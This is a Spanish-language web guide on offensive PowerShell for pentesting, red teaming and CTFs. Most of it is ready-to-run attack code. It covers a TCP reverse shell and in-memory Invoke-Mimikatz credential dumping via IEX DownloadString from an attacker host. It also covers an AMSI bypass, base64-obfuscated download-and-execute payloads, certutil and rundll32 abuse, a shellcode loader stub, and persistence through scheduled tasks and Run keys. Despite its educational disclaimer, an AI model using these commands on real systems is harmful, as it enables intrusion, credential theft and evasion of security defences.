GhostAcademy logo GhostAcademy
⚡ Red Team · Windows · Pentesting · CTF
⚡ PowerShell para Hackers Eticos
Mini Guia de Automatizacion Ofensiva en Windows

PowerShell nacio como consola de administracion de sistemas en Windows, pero en manos de un hacker etico se transforma en una herramienta brutalmente versatil: automatiza tareas, evade defensas, escala privilegios e interactua con Active Directory sin instalar software adicional.

Invoke-MimikatzPowerViewPowerUp AMSI bypassreverse shellLotL Active Directoryshellcodepersistencia

Introduccion

portadaPowerShell para Hackers Eticos — Portada
PowerShell para Hackers Eticos — Portada

PowerShell nacio como una poderosa consola para administracion de sistemas en entornos Windows, pero en manos de un hacker etico se transforma en una herramienta brutalmente versatil. Automatiza tareas, evade defensas, escala privilegios, interactua con Active Directory y mucho mas... todo sin instalar software adicional.

Esta guia esta pensada como recurso practico para pentesters, Red Teams y entusiastas de CTFs que quieran explotar todo el potencial ofensivo de PowerShell.

Disclaimer etico: Esta guia tiene unicamente fines educativos. Nunca utilices estas tecnicas fuera de entornos controlados, legales y autorizados. Como profesional de ciberseguridad ofensiva, tu mision es detectar, defender y fortalecer la seguridad de los sistemas.

🔧 Configuracion del Entorno

Verificar version de PowerShell

PowerShell
$PSVersionTable.PSVersion

Politica de ejecucion de scripts

Por defecto, Windows restringe la ejecucion de scripts. Estos comandos permiten verificar y modificar dicha politica.

PowerShell
# Ver la politica actual
Get-ExecutionPolicy

# Bypass solo para la sesion actual (no persistente)
Set-ExecutionPolicy Bypass -Scope Process
-Scope Process: Aplica el bypass solo durante la sesion actual de PowerShell. Al cerrar la consola, la politica vuelve a su estado original sin dejar rastro persistente.

🧭 Enumeracion Basica del Sistema

Informacion general del sistema

PowerShell
# Informacion detallada del sistema (hostname, OS, parches...)
systeminfo

# WMI: informacion del equipo y BIOS
Get-WmiObject Win32_ComputerSystem
Get-WmiObject Win32_BIOS

Archivos, procesos y servicios

PowerShell
# Listar archivos recursivamente
Get-ChildItem -Recurse

# Ver todos los procesos en ejecucion
Get-Process

# Ver todos los servicios del sistema
Get-Service

Usuarios y grupos locales

PowerShell
# Listar todos los usuarios locales
Get-LocalUser

# Ver miembros del grupo Administradores
Get-LocalGroupMember -Group "Administrators"

🌐 Enumeracion de Red

Direccion IP y configuracion

PowerShell
# Informacion completa de red (legacy)
ipconfig /all

# Obtener todas las direcciones IP de las interfaces
Get-NetIPAddress

# Ver interfaces y adaptadores en tabla
Get-NetAdapter | Format-Table

Ver conexiones activas

PowerShell
# Ver conexiones TCP activas con PID del proceso
Get-NetTCPConnection | Select-Object
    LocalAddress,LocalPort,RemoteAddress,RemotePort,State,OwningProcess |
Sort-Object -Property LocalPort

Escaneo de puertos basico

Un port scanner en PowerShell puro, sin herramientas externas. Util en entornos donde no se puede instalar nmap.

PowerShell — Port scanner puertos 1-1024
1..1024 | ForEach-Object {
    if (Test-NetConnection -ComputerName 192.168.1.10 -Port $_ -InformationLevel Quiet) {
        "$_ is open"
    }
}
Sin dependencias: Este script usa unicamente Test-NetConnection, un cmdlet nativo de Windows. No requiere instalar Nmap ni ninguna otra herramienta. Ideal para entornos restringidos.

🧠 Active Directory con PowerShell

Si el objetivo esta en un entorno de dominio, PowerShell ofrece dos vias: comandos nativos del modulo ActiveDirectory o herramientas externas como PowerView.

Comandos nativos (modulo ActiveDirectory)

PowerShell — Modulo ActiveDirectory
# Importar el modulo (requiere RSAT instalado)
Import-Module ActiveDirectory

# Listar todos los usuarios del dominio
Get-ADUser -Filter * | Select-Object Name,SamAccountName

# Listar todos los equipos del dominio
Get-ADComputer -Filter * | Select Name

# Ver miembros del grupo Domain Admins
Get-ADGroupMember "Domain Admins"

PowerView — de PowerSploit

PowerShell — PowerView
# Cargar PowerView en la sesion actual
. .\PowerView.ps1

# Enumerar todos los usuarios
Get-NetUser

# Obtener miembros de Domain Admins
Get-NetGroup -GroupName "Domain Admins"

# Encontrar maquinas donde el usuario actual tiene acceso local de admin
Find-LocalAdminAccess
PowerView es parte del framework PowerSploit y permite enumerar usuarios, grupos, GPOs, ACLs, sesiones activas, relaciones de confianza entre dominios y mucho mas. Es una pieza fundamental del kit de cualquier Red Teamer.

💥 Post-explotacion y Shells Reversas

💥
Reverse Shell en PowerShell puro
Sin binarios adicionales — solo PowerShell nativo

Una reverse shell en PowerShell puro establece una conexion TCP saliente desde el objetivo hacia el atacante, tunnelando una shell interactiva. Al ser PowerShell nativo, no requiere instalar ningun binario adicional.

PowerShell — Reverse Shell (reemplaza IP y puerto)
$client = New-Object System.Net.Sockets.TCPClient("IP_ATACANTE", PUERTO)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()
Para recibir la conexion en el atacante: nc -lvnp PUERTO (Linux) o usa un listener de Metasploit/Ncat. Una vez conectado, recibiras una prompt PS C:\ruta> con acceso interactivo al sistema objetivo.

🔐 Post-explotacion: Dumpeo de Credenciales

Invoke-Mimikatz desde memoria

Ideal para obtener hashes NTLM, tickets Kerberos o contrasenas en texto claro. Se carga directamente en memoria, evitando escribir a disco.

PowerShell — Invoke-Mimikatz en memoria
# Cargar Mimikatz directamente desde un servidor HTTP (sin escribir a disco)
IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.1/Invoke-Mimikatz.ps1')

# Ejecutar dumpeo de contrasenas de sesiones activas
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
Tip: Redirige la salida a un archivo para evitar mostrar datos sensibles en pantalla:

Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"' | Out-File .\creds.txt

Contrasenas guardadas en IE/Edge (registro)

PowerShell — Registro IE/Edge
Get-ItemProperty "HKCU:\Software\Microsoft\Internet Explorer\IntelliForms\Storage2"

⬆ Escalada de Privilegios

Detectar servicios potencialmente vulnerables

PowerShell
# Servicios que no corren como LocalSystem (potencialmente misconfigured)
Get-WmiObject win32_service | Where-Object { $_.StartName -ne "LocalSystem" }

PowerUp — Script ofensivo de escalada

PowerUp automatiza la deteccion de vectores de escalada: servicios con rutas sin comillas, permisos debiles en binarios, tokens de impersonacion, y mas.

PowerShell — PowerUp
# Cargar PowerUp
. .\PowerUp.ps1

# Ejecutar todos los checks de escalada automaticamente
Invoke-AllChecks

🧪 Evasion de Defensas

Bypass de AMSI

AMSI (AntiMalware Scan Interface) intercepta y analiza scripts de PowerShell antes de ejecutarlos. Este bypass marca el campo amsiInitFailed como true, deshabilitando el analisis para la sesion actual.

PowerShell — AMSI Bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')`
    .GetField('amsiInitFailed','NonPublic,Static')`
    .SetValue($null,$true)

Payload en Base64 (ofuscacion)

PowerShell — Codificar en Base64
# 1. Definir el comando a ofuscar
$code = "IEX (New-Object Net.WebClient).DownloadString('http://IP/script.ps1')"

# 2. Codificar como Unicode Base64
$bytes = [System.Text.Encoding]::Unicode.GetBytes($code)
[Convert]::ToBase64String($bytes)
CMD / PowerShell — Ejecutar payload ofuscado
powershell.exe -EncodedCommand <Base64_aqui>

🧨 Living off the Land (LotL)

Las tecnicas LotL aprovechan herramientas ya presentes en el sistema (LOLBAS), evitando subir nuevas herramientas que puedan disparar alertas.

CMD — certutil como downloader
# Usar certutil para descargar binarios
certutil.exe -urlcache -split -f http://10.10.14.1/tool.exe tool.exe
CMD — rundll32 ejecucion de codigo
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write('wscript.shell.run("calc")')

Herramientas LOLBAS mas utiles

certutil.exe
Descarga de archivos desde URLs, codificacion/decodificacion Base64.
rundll32.exe
Ejecucion de funciones DLL y JavaScript via mshtml.
regsvr32.exe
Registro de DLLs; puede ejecutar scripts COM remotos (squiblydoo).
mshta.exe
Ejecuta archivos HTA; util para ejecucion de VBScript/JScript.
msbuild.exe
Compila y ejecuta codigo C# desde archivos de proyecto XML.
wmic.exe
Ejecucion remota de procesos, recopilacion de informacion del sistema.

📁 Recoleccion de Informacion Sensible

Buscar archivos con posibles credenciales

PowerShell — Busqueda de archivos sensibles
# Buscar archivos con nombres que sugieren credenciales (<5MB)
Get-ChildItem -Path C:\ -Recurse -Include *pass*,*cred*,*secret* -ErrorAction SilentlyContinue |
Where-Object { $_.Length -lt 5MB } | Select-Object FullName, Length

Buscar contenido sensible dentro de archivos

PowerShell — Grep de credenciales
# Buscar cadenas relacionadas con contrasenas en archivos de texto
Get-ChildItem -Path C:\Users\ -Include *.txt,*.xml,*.ini -Recurse -ErrorAction SilentlyContinue |
Select-String -Pattern "password|usuario|clave|contrasena"

💉 Inyeccion de Shellcode en Memoria

Tecnica avanzada para ejecucion de codigo directamente en memoria sin escribir ningun archivo a disco (fileless). Usa P/Invoke para llamar directamente a funciones de kernel32.dll.

PowerShell — Loader P/Invoke en memoria
# Declaracion de funciones nativas de Windows desde PowerShell
$code = @"
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(
    IntPtr lpAddress, uint dwSize,
    uint flAllocationType, uint flProtect);

[DllImport("kernel32")]
public static extern IntPtr CreateThread(
    IntPtr lpThreadAttributes, uint dwStackSize,
    IntPtr lpStartAddress, IntPtr lpParameter,
    uint dwCreationFlags, IntPtr lpThreadId);
"@
Tip: Este codigo es la base de un script loader para ejecutar payloads .bin generados con msfvenom. Permite ejecutar shellcode arbitrario en el proceso de PowerShell sin escribir nada a disco, evitando muchos antivirus basados en analisis de archivos.

🪐 Herramientas Relevantes

referenciaResumen visual de herramientas de PowerShell para hacking etico
Resumen visual de herramientas de PowerShell para hacking etico
PowerView
Enumeracion avanzada de Active Directory. Parte de PowerSploit.
PowerUp
Deteccion automatizada de vectores de escalada de privilegios.
Invoke-Mimikatz
Extraccion de credenciales, hashes y tickets Kerberos desde memoria.
Empire
Framework C2 post-explotacion basado en PowerShell.
PoshC2
Framework C2 de codigo abierto con agentes PowerShell y Python.
PowerShell-Suite
Coleccion de scripts ofensivos de FuzzySecurity.

🔒 Tecnicas de Persistencia

Tarea programada

CMD — schtasks
# Crear tarea programada que ejecute un script cada 5 minutos
schtasks /create /tn "Update" /tr "powershell.exe -File C:\evil.ps1" /sc minute /mo 5

Clave de registro Run

Tecnica clasica de persistencia: anadir una entrada en HKCU\...\Run para ejecutar el payload al iniciar sesion el usuario.

PowerShell — Registro Run
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
    -Name "Updater" `
    -Value "powershell.exe -ExecutionPolicy Bypass -File C:\evil.ps1"

Ejecutar en background

PowerShell — Start-Job
Start-Job -ScriptBlock {
    IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.1/evil.ps1')
}

📘 Buenas Practicas y Automatizacion

Funciones ofensivas reutilizables

PowerShell — Funciones de enumeracion
function Enum-Users {
    Get-LocalUser | Select-Object Name, Enabled, LastLogon
}

function Enum-Admins {
    Get-LocalGroupMember -Group "Administrators" | Select-Object Name, ObjectClass
}

Consejos para CTF y Red Team

  • Usa Out-File para guardar resultados sin levantar alertas en pantalla.
  • Usa Invoke-WebRequest o IEX + DownloadString para cargar herramientas en memoria sin escribir a disco.
  • Aplica -WindowStyle Hidden para ejecutar PowerShell sin mostrar ventana de consola.
  • Practica bypass de antivirus y AMSI en laboratorio antes de cualquier operacion real.
  • Mantén logs detallados de todas las acciones para analisis post-explotacion y reporte.
  • Automatiza tareas repetitivas con funciones personalizadas en tu propio modulo .psm1.

📚 Recursos Recomendados